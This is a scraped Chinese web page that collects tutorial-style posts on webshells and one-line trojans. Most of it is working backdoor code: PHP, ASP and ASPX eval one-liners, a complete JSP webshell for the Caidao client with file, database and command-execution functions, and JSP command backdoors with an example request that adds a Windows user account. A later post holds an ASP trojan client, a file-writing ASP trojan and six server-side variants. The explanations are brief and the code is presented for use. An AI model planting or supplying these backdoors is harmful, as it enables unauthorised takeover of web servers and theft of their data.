精华内容
下载资源
问答
  • webshell与一句话木马

    千次阅读 2019-06-23 14:36:08
    webshell就是以 asp、aspx、php、jsp 或者cgi等网页文件形式存在的种命令执行环境,也可以将其称做为种网页后门。黑客在入侵了个网站后,通常会将asp、aspx、php或jsp后门文件与网站web服务器目录下正常的网页...

    webshell

    可理解为web+shell 通常就是大佬所说的大马

    web就是指web页面,shell就是命令执行环境。webshell就是以 asp、aspx、php、jsp 或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp、aspx、php或jsp后门文件与网站web服务器目录下正常的网页文件混在一起,然后就可以使用浏览器来访问该后门文件了,从而得到一个命令执行环境,以达到控制网站服务器的目的。

    webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。

    一方面,webshell被站长常常用于网站管理、服务器管理等等,根据FSO权限的不同,作用有在线编辑网页脚本、上传下载文件、查看数据库、执行任意程序命令等。

    另一方面,被入侵者利用,从而达到控制网站服务器的目的。这些网页脚本常称为Web脚本木马,比较流行的asp或php木马,也有基于.NET的脚本木马与JSP脚本木马。

    一句话木马

    通常就是人们常说的小马

    简单来说一句话木马就是通过向服务端提交一句简短的代码来达到向服务器插入木马并最终获得webshell的方法。对于不同的语言有不同的构造方法,基本构造是首先出现的是脚本开始的标记,后边跟着的 eval 或者是 execute 是核心部分,就是获取并执行后边得到的内容,而后边得到的内容,是 request 或者是 $_POST 获取的值。如果我们通过客户端向服务器发送,那么就会让服务器执行我们发送的脚本,挂马就实现了。

    不同语言的一句话木马:

    php一句话木马:  <?php @eval($_POST[value]); ?>
    asp一句话木马:  <%eval request ("value")%> 或  <% execute(request("value")) %>   
    aspx一句话木马: <%@ Page Language="Jscript" %> <% eval(Request.Item["value"]) %>
     
    
    <?php fputs( fopen('xie.php','w') , '<? php eval($_POST[xie]) ?>' ) ; ?>
    将当前目录下创建xie.php文件,并且将一句话木马写入xd.php中
    

    jsp的一句话木马会比较长,有点特殊

    <%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
    <%!String Pwd = "pass";     //菜刀连接密码
     
        String EC(String s, String c) throws Exception {
            return s;
        }//new String(s.getBytes("ISO-8859-1"),c);}
     
        Connection GC(String s) throws Exception {
            String[] x = s.trim().split("\r\n");
            Class.forName(x[0].trim()).newInstance();
            Connection c = DriverManager.getConnection(x[1].trim());
            if (x.length > 2) {
                c.setCatalog(x[2].trim());
            }
            return c;
        }
        void AA(StringBuffer sb) throws Exception {
            File r[] = File.listRoots();
            for (int i = 0; i < r.length; i++) {
                sb.append(r[i].toString().substring(0, 2));
            }
        }
        void BB(String s, StringBuffer sb) throws Exception {
            File oF = new File(s), l[] = oF.listFiles();
            String sT, sQ, sF = "";
            java.util.Date dt;
            SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
            for (int i = 0; i < l.length; i++) {
                dt = new java.util.Date(l[i].lastModified());
                sT = fm.format(dt);
                sQ = l[i].canRead() ? "R" : "";
                sQ += l[i].canWrite() ? " W" : "";
                if (l[i].isDirectory()) {
                    sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()
                            + "\t" + sQ + "\n");
                } else {
                    sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"
                            + sQ + "\n";
                }
            }
            sb.append(sF);
        }
        void EE(String s) throws Exception {
            File f = new File(s);
            if (f.isDirectory()) {
                File x[] = f.listFiles();
                for (int k = 0; k < x.length; k++) {
                    if (!x[k].delete()) {
                        EE(x[k].getPath());
                    }
                }
            }
            f.delete();
        }
        void FF(String s, HttpServletResponse r) throws Exception {
            int n;
            byte[] b = new byte[512];
            r.reset();
            ServletOutputStream os = r.getOutputStream();
            BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
            os.write(("->" + "|").getBytes(), 0, 3);
            while ((n = is.read(b, 0, 512)) != -1) {
                os.write(b, 0, n);
            }
            os.write(("|" + "<-").getBytes(), 0, 3);
            os.close();
            is.close();
        }
        void GG(String s, String d) throws Exception {
            String h = "0123456789ABCDEF";
            int n;
            File f = new File(s);
            f.createNewFile();
            FileOutputStream os = new FileOutputStream(f);
            for (int i = 0; i < d.length(); i += 2) {
                os
                        .write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d
                                .charAt(i + 1))));
            }
            os.close();
        }
        void HH(String s, String d) throws Exception {
            File sf = new File(s), df = new File(d);
            if (sf.isDirectory()) {
                if (!df.exists()) {
                    df.mkdir();
                }
                File z[] = sf.listFiles();
                for (int j = 0; j < z.length; j++) {
                    HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
                }
            } else {
                FileInputStream is = new FileInputStream(sf);
                FileOutputStream os = new FileOutputStream(df);
                int n;
                byte[] b = new byte[512];
                while ((n = is.read(b, 0, 512)) != -1) {
                    os.write(b, 0, n);
                }
                is.close();
                os.close();
            }
        }
        void II(String s, String d) throws Exception {
            File sf = new File(s), df = new File(d);
            sf.renameTo(df);
        }
        void JJ(String s) throws Exception {
            File f = new File(s);
            f.mkdir();
        }
        void KK(String s, String t) throws Exception {
            File f = new File(s);
            SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
            java.util.Date dt = fm.parse(t);
            f.setLastModified(dt.getTime());
        }
        void LL(String s, String d) throws Exception {
            URL u = new URL(s);
            int n;
            FileOutputStream os = new FileOutputStream(d);
            HttpURLConnection h = (HttpURLConnection) u.openConnection();
            InputStream is = h.getInputStream();
            byte[] b = new byte[512];
            while ((n = is.read(b, 0, 512)) != -1) {
                os.write(b, 0, n);
            }
            os.close();
            is.close();
            h.disconnect();
        }
        void MM(InputStream is, StringBuffer sb) throws Exception {
            String l;
            BufferedReader br = new BufferedReader(new InputStreamReader(is));
            while ((l = br.readLine()) != null) {
                sb.append(l + "\r\n");
            }
        }
        void NN(String s, StringBuffer sb) throws Exception {
            Connection c = GC(s);
            ResultSet r = c.getMetaData().getCatalogs();
            while (r.next()) {
                sb.append(r.getString(1) + "\t");
            }
            r.close();
            c.close();
        }
        void OO(String s, StringBuffer sb) throws Exception {
            Connection c = GC(s);
            String[] t = { "TABLE" };
            ResultSet r = c.getMetaData().getTables(null, null, "%", t);
            while (r.next()) {
                sb.append(r.getString("TABLE_NAME") + "\t");
            }
            r.close();
            c.close();
        }
        void PP(String s, StringBuffer sb) throws Exception {
            String[] x = s.trim().split("\r\n");
            Connection c = GC(s);
            Statement m = c.createStatement(1005, 1007);
            ResultSet r = m.executeQuery("select * from " + x[3]);
            ResultSetMetaData d = r.getMetaData();
            for (int i = 1; i <= d.getColumnCount(); i++) {
                sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)
                        + ")\t");
            }
            r.close();
            m.close();
            c.close();
        }
        void QQ(String cs, String s, String q, StringBuffer sb) throws Exception {
            int i;
            Connection c = GC(s);
            Statement m = c.createStatement(1005, 1008);
            try {
                ResultSet r = m.executeQuery(q);
                ResultSetMetaData d = r.getMetaData();
                int n = d.getColumnCount();
                for (i = 1; i <= n; i++) {
                    sb.append(d.getColumnName(i) + "\t|\t");
                }
                sb.append("\r\n");
                while (r.next()) {
                    for (i = 1; i <= n; i++) {
                        sb.append(EC(r.getString(i), cs) + "\t|\t");
                    }
                    sb.append("\r\n");
                }
                r.close();
            } catch (Exception e) {
                sb.append("Result\t|\t\r\n");
                try {
                    m.executeUpdate(q);
                    sb.append("Execute Successfully!\t|\t\r\n");
                } catch (Exception ee) {
                    sb.append(ee.toString() + "\t|\t\r\n");
                }
            }
            m.close();
            c.close();
        }%>    
    <%
        String cs = request.getParameter("z0")==null?"gbk": request.getParameter("z0") + "";
        request.setCharacterEncoding(cs);
        response.setContentType("text/html;charset=" + cs);
        String Z = EC(request.getParameter(Pwd) + "", cs);
        String z1 = EC(request.getParameter("z1") + "", cs);
        String z2 = EC(request.getParameter("z2") + "", cs);
        StringBuffer sb = new StringBuffer("");
        try {
            sb.append("->" + "|");
            if (Z.equals("A")) {
                String s = new File(application.getRealPath(request
                        .getRequestURI())).getParent();
                sb.append(s + "\t");
                if (!s.substring(0, 1).equals("/")) {
                    AA(sb);
                }
            } else if (Z.equals("B")) {
                BB(z1, sb);
            } else if (Z.equals("C")) {
                String l = "";
                BufferedReader br = new BufferedReader(
                        new InputStreamReader(new FileInputStream(new File(
                                z1))));
                while ((l = br.readLine()) != null) {
                    sb.append(l + "\r\n");
                }
                br.close();
            } else if (Z.equals("D")) {
                BufferedWriter bw = new BufferedWriter(
                        new OutputStreamWriter(new FileOutputStream(
                                new File(z1))));
                bw.write(z2);
                bw.close();
                sb.append("1");
            } else if (Z.equals("E")) {
                EE(z1);
                sb.append("1");
            } else if (Z.equals("F")) {
                FF(z1, response);
            } else if (Z.equals("G")) {
                GG(z1, z2);
                sb.append("1");
            } else if (Z.equals("H")) {
                HH(z1, z2);
                sb.append("1");
            } else if (Z.equals("I")) {
                II(z1, z2);
                sb.append("1");
            } else if (Z.equals("J")) {
                JJ(z1);
                sb.append("1");
            } else if (Z.equals("K")) {
                KK(z1, z2);
                sb.append("1");
            } else if (Z.equals("L")) {
                LL(z1, z2);
                sb.append("1");
            } else if (Z.equals("M")) {
                String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
                Process p = Runtime.getRuntime().exec(c);
                MM(p.getInputStream(), sb);
                MM(p.getErrorStream(), sb);
            } else if (Z.equals("N")) {
                NN(z1, sb);
            } else if (Z.equals("O")) {
                OO(z1, sb);
            } else if (Z.equals("P")) {
                PP(z1, sb);
            } else if (Z.equals("Q")) {
                QQ(cs, z1, z2, sb);
            }
        } catch (Exception e) {
            sb.append("ERROR" + ":// " + e.toString());
        }
        sb.append("|" + "<-");
        out.print(sb.toString());
    %>
    
    展开全文
  • Webshell和一句话木马

    万次阅读 多人点赞 2018-11-28 22:17:49
    一句话木马(小马) 一句话木马原理 一句话木马的变形 JSP后门脚本 Webshell(大马) 我们经常会看到Webshell,那么,到底什么是Webshell呢? webshell就是以 asp、aspx、php、jsp 或者cgi等网页文件形式存在的一...

    目录

    Webshell(大马)

    一句话木马(小马)

    一句话木马原理 

    一句话木马的变形

    JSP后门脚本


    Webshell(大马)

    我们经常会看到Webshell,那么,到底什么是Webshell呢?

    webshell就是以 asp、aspx、php、jsp 或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp、aspx、php或jsp后门文件与网站web服务器目录下正常的网页文件混在一起,然后就可以使用浏览器来访问该后门文件了,从而得到一个命令执行环境,以达到控制网站服务器的目的。

    顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上的操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。

    一方面,webshell被站长常常用于网站管理、服务器管理等等,根据FSO权限的不同,作用有在线编辑网页脚本、上传下载文件、查看数据库、执行任意程序命令等。

    另一方面,被入侵者利用,从而达到控制网站服务器的目的。这些网页脚本常称为Web脚本木马,比较流行的asp或php木马,也有基于.NET的脚本木马与JSP脚本木马。

    但是这里所说的木马都是些体积“庞大”的木马,也就是黑客中常称呼的" 大马 "。

    一句话木马(小马)

    因为上面所介绍webshell概念中提到的大马在现阶段的安全领域中已经被盯的非常紧了,而且各种杀毒软件和防火墙软件都对这种“大马”有了甄别能力,所以如果被渗透的web服务器中安装了防御软件的话,留下这种大马作为自己的webshell就非常困难了,于是一种新型的webshell就横空出世了,那就是一句话木马。

    简单来说一句话木马就是通过向服务端提交一句简短的代码来达到向服务器插入木马并最终获得webshell的方法。对于不同的语言有不同的构造方法,基本构造是首先出现的是脚本开始的标记,后边跟着的 eval 或者是 execute 是核心部分,就是获取并执行后边得到的内容,而后边得到的内容,是 request 或者是 $_POST 获取的值。如果我们通过客户端向服务器发送,那么就会让服务器执行我们发送的脚本,挂马就实现了。

    一些不同脚本语言的一句话木马

    php一句话木马:  <?php @eval($_POST[value]); ?>
    asp一句话木马:  <%eval request ("value")%> 或  <% execute(request("value")) %>   
    aspx一句话木马: <%@ Page Language="Jscript" %> <% eval(Request.Item["value"]) %>
     
    <?php fputs( fopen('xie.php','w') , '<? php eval($_POST[xie]) ?>' ) ; ?>
    将当前目录下创建xie.php文件,并且将一句话木马写入xd.php中
    

    一句话木马原理 

    拿php的一句话木马说明一下原理:

    在PHP脚本语言中,eval(code) 的功能是将 code 组合成 php 指令,然后将指令执行,其他语言中也是使用此原理,只是函数可能不同。

    <?php $a="phpinfo()"; eval("$a;");?>   #就相当于执行 phpinfo(); 语句。

    当利用web中的漏洞将<?php @eval($_POST[value]);?> 一句话插入到了可以被黑客访问且能被web服务器执行的文件中时,那么我们就可以向此文件提交post数据,post方式提交数据的参数就是这个一句话中的 value,它就称为一句话木马的密码。这样提交的数据如果是正确的php语言的语句,那么就可以被一句话木马执行,从而达到黑客的恶意目的。

    介绍了一句话木马的原理后,我们再来说下它的优缺点:

    优点:短小精悍,功能强大。

    缺点容易被安全软件检测出来。为了增强隐蔽性,也出现了各种一句话木马的变形。

    一句话木马的变形

    黑客的目的,就是想尽办法给目标网站插入一句话木马,可以是一个单独的 .asp 或者是 .php,.aspx 文件,或者是隐藏在某些网页下。

    在上边的例子中,php 文件很明显的 eval 可以成为一个静态特征码,webshell扫描工具可以以此为关键词,扫描到这种木马加以屏蔽。

    JSP后门脚本

    先把下面的代码保存为 one.jsp (该代码的作用是可以在当前目录下生成另外一个指定的文件),然后上传到服务器

    <%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%> 

    然后将下面的代码保存为 .html 格式的,直接双击本地打开。这是作为客户端去连接我们刚刚上传的one.jsp的

    <html><head><title>JSP一句话木马客户端</title></head><div align=center>  <font color=red>专用JSP木马连接器</font><br><form name=get method=post>服务端地址<input name=url size=110 type=text>  <br><br><textarea name=t rows=20 cols=120>你要提交到服务器的代码</textarea><br>要保存成的文件名:<input name=f size=30 value=shell.jsp><input type=button onclick="javascript:get.action=document.get.url.value;get.submit()" value=提交> </form>  <br>服务端代码:<br><textarea rows=5 cols=120><%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>   </textarea>  </div></body> 

     我们双击打开该html文件

    无回显执行命令

    将下面的命令保存为 a.jsp,然后上传到服务器

    <%Runtime.getRuntime().exec(request.getParameter("i"));%>

    访问链接:http://127.0.0.1:8080/EShop/a.jsp?i=net user hack 123 /add 

    有回显带密码执行命令

    将下面的命令保存为 b.jsp,然后上传到服务器

    <%
        if("b".equals(request.getParameter("pwd"))){
            java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
            int a = -1;
            byte[] b = new byte[2048];
            out.print("<pre>");
            while((a=in.read(b))!=-1){
                out.println(new String(b));
            }
            out.print("</pre>");
        }
    %>

    访问链接:http://127.0.0.1:8080/EShop/b.jsp?pwd=b&i=ipconfig 

    JSP一句话木马

    将下面保存为shell.jsp,上传到服务器,然后用菜刀连接即可

    <%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
    <%!String Pwd = "pass";     //菜刀连接密码
    
        String EC(String s, String c) throws Exception {
            return s;
        }//new String(s.getBytes("ISO-8859-1"),c);}
    
        Connection GC(String s) throws Exception {
            String[] x = s.trim().split("\r\n");
            Class.forName(x[0].trim()).newInstance();
            Connection c = DriverManager.getConnection(x[1].trim());
            if (x.length > 2) {
                c.setCatalog(x[2].trim());
            }
            return c;
        }
        void AA(StringBuffer sb) throws Exception {
            File r[] = File.listRoots();
            for (int i = 0; i < r.length; i++) {
                sb.append(r[i].toString().substring(0, 2));
            }
        }
        void BB(String s, StringBuffer sb) throws Exception {
            File oF = new File(s), l[] = oF.listFiles();
            String sT, sQ, sF = "";
            java.util.Date dt;
            SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
            for (int i = 0; i < l.length; i++) {
                dt = new java.util.Date(l[i].lastModified());
                sT = fm.format(dt);
                sQ = l[i].canRead() ? "R" : "";
                sQ += l[i].canWrite() ? " W" : "";
                if (l[i].isDirectory()) {
                    sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()
                            + "\t" + sQ + "\n");
                } else {
                    sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"
                            + sQ + "\n";
                }
            }
            sb.append(sF);
        }
        void EE(String s) throws Exception {
            File f = new File(s);
            if (f.isDirectory()) {
                File x[] = f.listFiles();
                for (int k = 0; k < x.length; k++) {
                    if (!x[k].delete()) {
                        EE(x[k].getPath());
                    }
                }
            }
            f.delete();
        }
        void FF(String s, HttpServletResponse r) throws Exception {
            int n;
            byte[] b = new byte[512];
            r.reset();
            ServletOutputStream os = r.getOutputStream();
            BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
            os.write(("->" + "|").getBytes(), 0, 3);
            while ((n = is.read(b, 0, 512)) != -1) {
                os.write(b, 0, n);
            }
            os.write(("|" + "<-").getBytes(), 0, 3);
            os.close();
            is.close();
        }
        void GG(String s, String d) throws Exception {
            String h = "0123456789ABCDEF";
            int n;
            File f = new File(s);
            f.createNewFile();
            FileOutputStream os = new FileOutputStream(f);
            for (int i = 0; i < d.length(); i += 2) {
                os
                        .write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d
                                .charAt(i + 1))));
            }
            os.close();
        }
        void HH(String s, String d) throws Exception {
            File sf = new File(s), df = new File(d);
            if (sf.isDirectory()) {
                if (!df.exists()) {
                    df.mkdir();
                }
                File z[] = sf.listFiles();
                for (int j = 0; j < z.length; j++) {
                    HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
                }
            } else {
                FileInputStream is = new FileInputStream(sf);
                FileOutputStream os = new FileOutputStream(df);
                int n;
                byte[] b = new byte[512];
                while ((n = is.read(b, 0, 512)) != -1) {
                    os.write(b, 0, n);
                }
                is.close();
                os.close();
            }
        }
        void II(String s, String d) throws Exception {
            File sf = new File(s), df = new File(d);
            sf.renameTo(df);
        }
        void JJ(String s) throws Exception {
            File f = new File(s);
            f.mkdir();
        }
        void KK(String s, String t) throws Exception {
            File f = new File(s);
            SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
            java.util.Date dt = fm.parse(t);
            f.setLastModified(dt.getTime());
        }
        void LL(String s, String d) throws Exception {
            URL u = new URL(s);
            int n;
            FileOutputStream os = new FileOutputStream(d);
            HttpURLConnection h = (HttpURLConnection) u.openConnection();
            InputStream is = h.getInputStream();
            byte[] b = new byte[512];
            while ((n = is.read(b, 0, 512)) != -1) {
                os.write(b, 0, n);
            }
            os.close();
            is.close();
            h.disconnect();
        }
        void MM(InputStream is, StringBuffer sb) throws Exception {
            String l;
            BufferedReader br = new BufferedReader(new InputStreamReader(is));
            while ((l = br.readLine()) != null) {
                sb.append(l + "\r\n");
            }
        }
        void NN(String s, StringBuffer sb) throws Exception {
            Connection c = GC(s);
            ResultSet r = c.getMetaData().getCatalogs();
            while (r.next()) {
                sb.append(r.getString(1) + "\t");
            }
            r.close();
            c.close();
        }
        void OO(String s, StringBuffer sb) throws Exception {
            Connection c = GC(s);
            String[] t = { "TABLE" };
            ResultSet r = c.getMetaData().getTables(null, null, "%", t);
            while (r.next()) {
                sb.append(r.getString("TABLE_NAME") + "\t");
            }
            r.close();
            c.close();
        }
        void PP(String s, StringBuffer sb) throws Exception {
            String[] x = s.trim().split("\r\n");
            Connection c = GC(s);
            Statement m = c.createStatement(1005, 1007);
            ResultSet r = m.executeQuery("select * from " + x[3]);
            ResultSetMetaData d = r.getMetaData();
            for (int i = 1; i <= d.getColumnCount(); i++) {
                sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)
                        + ")\t");
            }
            r.close();
            m.close();
            c.close();
        }
        void QQ(String cs, String s, String q, StringBuffer sb) throws Exception {
            int i;
            Connection c = GC(s);
            Statement m = c.createStatement(1005, 1008);
            try {
                ResultSet r = m.executeQuery(q);
                ResultSetMetaData d = r.getMetaData();
                int n = d.getColumnCount();
                for (i = 1; i <= n; i++) {
                    sb.append(d.getColumnName(i) + "\t|\t");
                }
                sb.append("\r\n");
                while (r.next()) {
                    for (i = 1; i <= n; i++) {
                        sb.append(EC(r.getString(i), cs) + "\t|\t");
                    }
                    sb.append("\r\n");
                }
                r.close();
            } catch (Exception e) {
                sb.append("Result\t|\t\r\n");
                try {
                    m.executeUpdate(q);
                    sb.append("Execute Successfully!\t|\t\r\n");
                } catch (Exception ee) {
                    sb.append(ee.toString() + "\t|\t\r\n");
                }
            }
            m.close();
            c.close();
        }%>    
    <%
        String cs = request.getParameter("z0")==null?"gbk": request.getParameter("z0") + "";
        request.setCharacterEncoding(cs);
        response.setContentType("text/html;charset=" + cs);
        String Z = EC(request.getParameter(Pwd) + "", cs);
        String z1 = EC(request.getParameter("z1") + "", cs);
        String z2 = EC(request.getParameter("z2") + "", cs);
        StringBuffer sb = new StringBuffer("");
        try {
            sb.append("->" + "|");
            if (Z.equals("A")) {
                String s = new File(application.getRealPath(request
                        .getRequestURI())).getParent();
                sb.append(s + "\t");
                if (!s.substring(0, 1).equals("/")) {
                    AA(sb);
                }
            } else if (Z.equals("B")) {
                BB(z1, sb);
            } else if (Z.equals("C")) {
                String l = "";
                BufferedReader br = new BufferedReader(
                        new InputStreamReader(new FileInputStream(new File(
                                z1))));
                while ((l = br.readLine()) != null) {
                    sb.append(l + "\r\n");
                }
                br.close();
            } else if (Z.equals("D")) {
                BufferedWriter bw = new BufferedWriter(
                        new OutputStreamWriter(new FileOutputStream(
                                new File(z1))));
                bw.write(z2);
                bw.close();
                sb.append("1");
            } else if (Z.equals("E")) {
                EE(z1);
                sb.append("1");
            } else if (Z.equals("F")) {
                FF(z1, response);
            } else if (Z.equals("G")) {
                GG(z1, z2);
                sb.append("1");
            } else if (Z.equals("H")) {
                HH(z1, z2);
                sb.append("1");
            } else if (Z.equals("I")) {
                II(z1, z2);
                sb.append("1");
            } else if (Z.equals("J")) {
                JJ(z1);
                sb.append("1");
            } else if (Z.equals("K")) {
                KK(z1, z2);
                sb.append("1");
            } else if (Z.equals("L")) {
                LL(z1, z2);
                sb.append("1");
            } else if (Z.equals("M")) {
                String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
                Process p = Runtime.getRuntime().exec(c);
                MM(p.getInputStream(), sb);
                MM(p.getErrorStream(), sb);
            } else if (Z.equals("N")) {
                NN(z1, sb);
            } else if (Z.equals("O")) {
                OO(z1, sb);
            } else if (Z.equals("P")) {
                PP(z1, sb);
            } else if (Z.equals("Q")) {
                QQ(cs, z1, z2, sb);
            }
        } catch (Exception e) {
            sb.append("ERROR" + ":// " + e.toString());
        }
        sb.append("|" + "<-");
        out.print(sb.toString());
    %>

    更多的关于一句话木马的变形,传送门——> 中国菜刀之写一句话木马变形

    展开全文
  • 全面详尽剖析一句话asp木马

    千次阅读 2007-05-15 12:20:00
    文章作者:冷月孤枫 所谓一句插马,就是通过向服务端提交一句简短的代码来达到向服务器插入木马并最终获得webshell的方法。它分为一句asp马、一句php马……,本文就一句asp木马来做一次详尽的剖析。在此首先...
    文章作者:冷月孤枫                                      

    所谓一句话插马,就是通过向服务端提交一句简短的代码来达到向服务器插入木马并最终获得webshell的方法。它分为一句话asp马、一句话php马……,本文就一句话asp木马来做一次详尽的剖析。在此首先要感谢前辈们的探究!

    一:基础篇

    首先我们看一下最常用的一句话木马客户端的代码

    <html>
    <head>
    <title>一句话客户端</title>
    <style type="text/css">
    <!--
    body {
            background-color: #FFFFFF;
            
    }
    .lygf {
            border: 1px solid #660069;
            font-size: 12px;
    }
    -->
    </style>
    </head>
    <body>
    <table width="500" border="0" align="center" class="lygf" height="14" cellspacing="0">
    <tr>
    <td height="1" width="794">
    <form name="lygf" method="post">
    <input name="add" type="text" id="add" size="97" value="http://">
    <input type="submit" value="枫" onClick="this.form.action=this.form.add.value;">

    <input type="hidden" name="fk" id="fk" value="Execute("Session(""fk"")=request(""*""):Execute(Session(""fk""))")">

    </td>
    </tr>
    <tr>
    <td height="100" width="794">
    <textarea name="*" cols="100" rows="9" width="45">
    set lP=server.createObject("Adodb.Stream")
    lP.Open
    lP.Type=2
    lP.CharSet="gb2312"
    lP.writetext request("lygf")
    lP.SaveToFile server.mappath("fk.asp"),2
    lP.Close
    set lP=nothing
    response.redirect "fk.asp"</textarea>
    </td>
    </tr>
    <tr>
    <td height="1" width="794">
    <textarea name="lygf" cols="100" rows="15" width="45">
    写入你的大马</textarea>
    </td>
    </tr>
    <tr>
    <td width="794" height="7">

    <font color="#000000">提供六个服务端:</font>
    <br>
    1. <%eval request("fk")%>
    <br>
    2. <%execute request("fk")%>
    <br>
    3. <%execute(request("fk"))%>
    <br>
    4. <%On Error Resume Next%><%eval request("fk")%>
    <br>
    5. <script language=VBScript runat=server>execute request("fk")</Script>
    <br>
    6. <script language=VBScript runat=server>eval request("fk")</Script>
    <br>
    <br>By 冷月孤枫   枫客:http://fk.3355.cn/    ... t;/font><br>

    </td>
    </tr>
    </table>
    </body>
    </html>


    把上面的代码另存为htm的格式后就可以使用了,具体的使用说明在网页上可以看到

    下面就带着大家一起分析一下上面的代码(html的一些最基本的知识就不做解释了):

    <title>一句话客户端</title>          显示在浏览器标题栏上面的文字,你可以自己更改

    <style type="text/css">
    <!--
    body {
            background-color: #FFFFFF;   背景颜色
            
    }
    .lygf {
            border: 1px solid #660099;   边框属性
            font-size: 12px;             字体大小    
    }
    -->                                  本页面所要用到的样式

    <form name="lygf" method=post>       创建一个form对象,其中name的作用是用作一个枢纽把我们要插入的马的内容传递给form,以post方式提交给下面的连接,而不是get,用post提交IIS是不记入日志的

    <input name="add" type="text" id="add" size="97" value="http://">创建一个用于提交的输入框(text)用于写地址(add),长度是97个字节,value=是默认的内容

    <input type="submit" value="枫" onClick="this.form.action=this.form.add.value;">创建一个按钮用于提交(submit),后面的部分是把上面value的值赋给form去post

    <input type="hidden" name="fk" id="fk" value="Execute("Session(""fk"")=request(""*""):Execute(Session(""fk""))")">通过建立一个隐藏域,把fk与下面name的值*关联,用session保存代码然后执行,这句借用了海洋的客户端,不过那样不怎么好用

    <textarea name="*" cols="100" rows="9" width="45"> textarea就是论坛中的发言框。在HTML语言中,textarea、input都是属于“文本域”的

    set lP=server.createObject("Adodb.Stream") CreateObject创建并返回对 Automation 对象的引用,应用于Server 对象;Adodb.Stream是ADO的Stream对象,提供存取二进制数据或者文本流,从而实现对流的读、写和管理等操作;对象创建后,就可以在代码中使用定义的对象变量(IP)引用此对象
    lP.Open 打开这个变量
    lP.Type=2 Type 指定或返回的数据类型,这里是以文本方式
    lP.CharSet="gb2312" gb2312是指简体中文
    lP.writetext request("lygf") Request 对象在 HTTP 请求期间,检索客户端浏览器传递给服务器的值,这里是lygf,要和下面文本框中的name=lygf相对应,writetext允许对现有的 text、ntext 或 image 列执行最小日志记录的交互式更新。WRITETEXT 将覆盖受其影响的列中的所有现有数据,在这里的作用就是取得下面的文本框里的木马的内容
    lP.SaveToFile server.mappath("fk.asp"),2 这句很好懂,就是以覆盖文件的方式向服务器的同文件目录下写入fk.asp
    lP.Close 关闭对象变量
    set lP=nothing 释放Adodb.Stream对象
    response.redirect "fk.asp" 在这里起到转向作用,转到我们刚刚写入的fk.asp

    <textarea name=lygf cols=120 rows=10 width=45>添入生成木马的内容</textarea>又创建一个文本框用于写马的内容,这里的name要和上面的一样

    给大家提供一个小马:
    <%dim objfso%>
    <%dim fdata%>
    <%dim objcountfile%>
    <%on error resume next%>
    <%set objfso = server.createobject("S"+"cr"+"ipt"+"ing"+".f"+"il"+"es"+"ys"+"tem"+"ob"+"jec"+"t")%>
    <%if trim(request("syfdpath"))<>"" then%>
    <%fdata = request("cyfddata")%>
    <%set objcountfile=objfso.createtextfile(request("syfdpath"),true)%>
    <%objcountfile.write fdata%>
    <%if err =0 then%>
    <%response.write "<font color=red>save success!</font>"%>
    <%else%>
    <%response.write "<font color=red>save unsuccess!</font>"%>
    <%end if%>
    <%err.clear%>
    <%end if%>
    <%objcountfile.close%>
    <%set objcountfile=nothing%>
    <%set objfso = nothing%>
    <%response.write "<form action='''' method=post>"%>
    <%response.write "<input type=text name=syfdpath width=32 size=50>"%>
    <%response.write "<br>"%>
    <%=server.mappath(request.servervariables("script_name"))%>
    <%response.write "<br>"%>
    <%response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%>
    <%response.write "<input type=submit value=go>"%>
    <%response.write "</form>"%>

    后面的一些代码都是一些使用说明,提供六个服务端
    1. <%eval request("fk")%>
    2. <%execute request("fk")%>
    3. <%execute(request("fk"))%>
    4. <%On Error Resume Next%><%eval request("fk")%>
    5. <script language=VBScript runat=server>execute request("fk")</Script>
    6. <script language=VBScript runat=server>eval request("fk")</Script>

    大家试着用
    解释以下:
    在VBScript 中,x = y可以有两种解释。第一种方式是赋值语句,将y的值赋予x。第二种解释是测试x 和y是否相等。如果相等,result为True;否则result为False。Eval方法总是采用第二种解释,而Execute语句总是采用第一种。

    Execute 执行一个或多个指定的语句,我们用来执行asp代码,它可以执行赋值操作,不过当POST的参数x为空时execute函数会出错,所以要加一句容错语句

    Eval 计算一个表达式的值并返回结果,它的参数可以是包含任何有效VBScript表达式的字符串,也就可以执行asp代码,但它不能执行赋值操作,不过当参数为空不会出错

    Request 对象在 HTTP 请求期间,检索客户端浏览器传递给服务器的值这里是fk

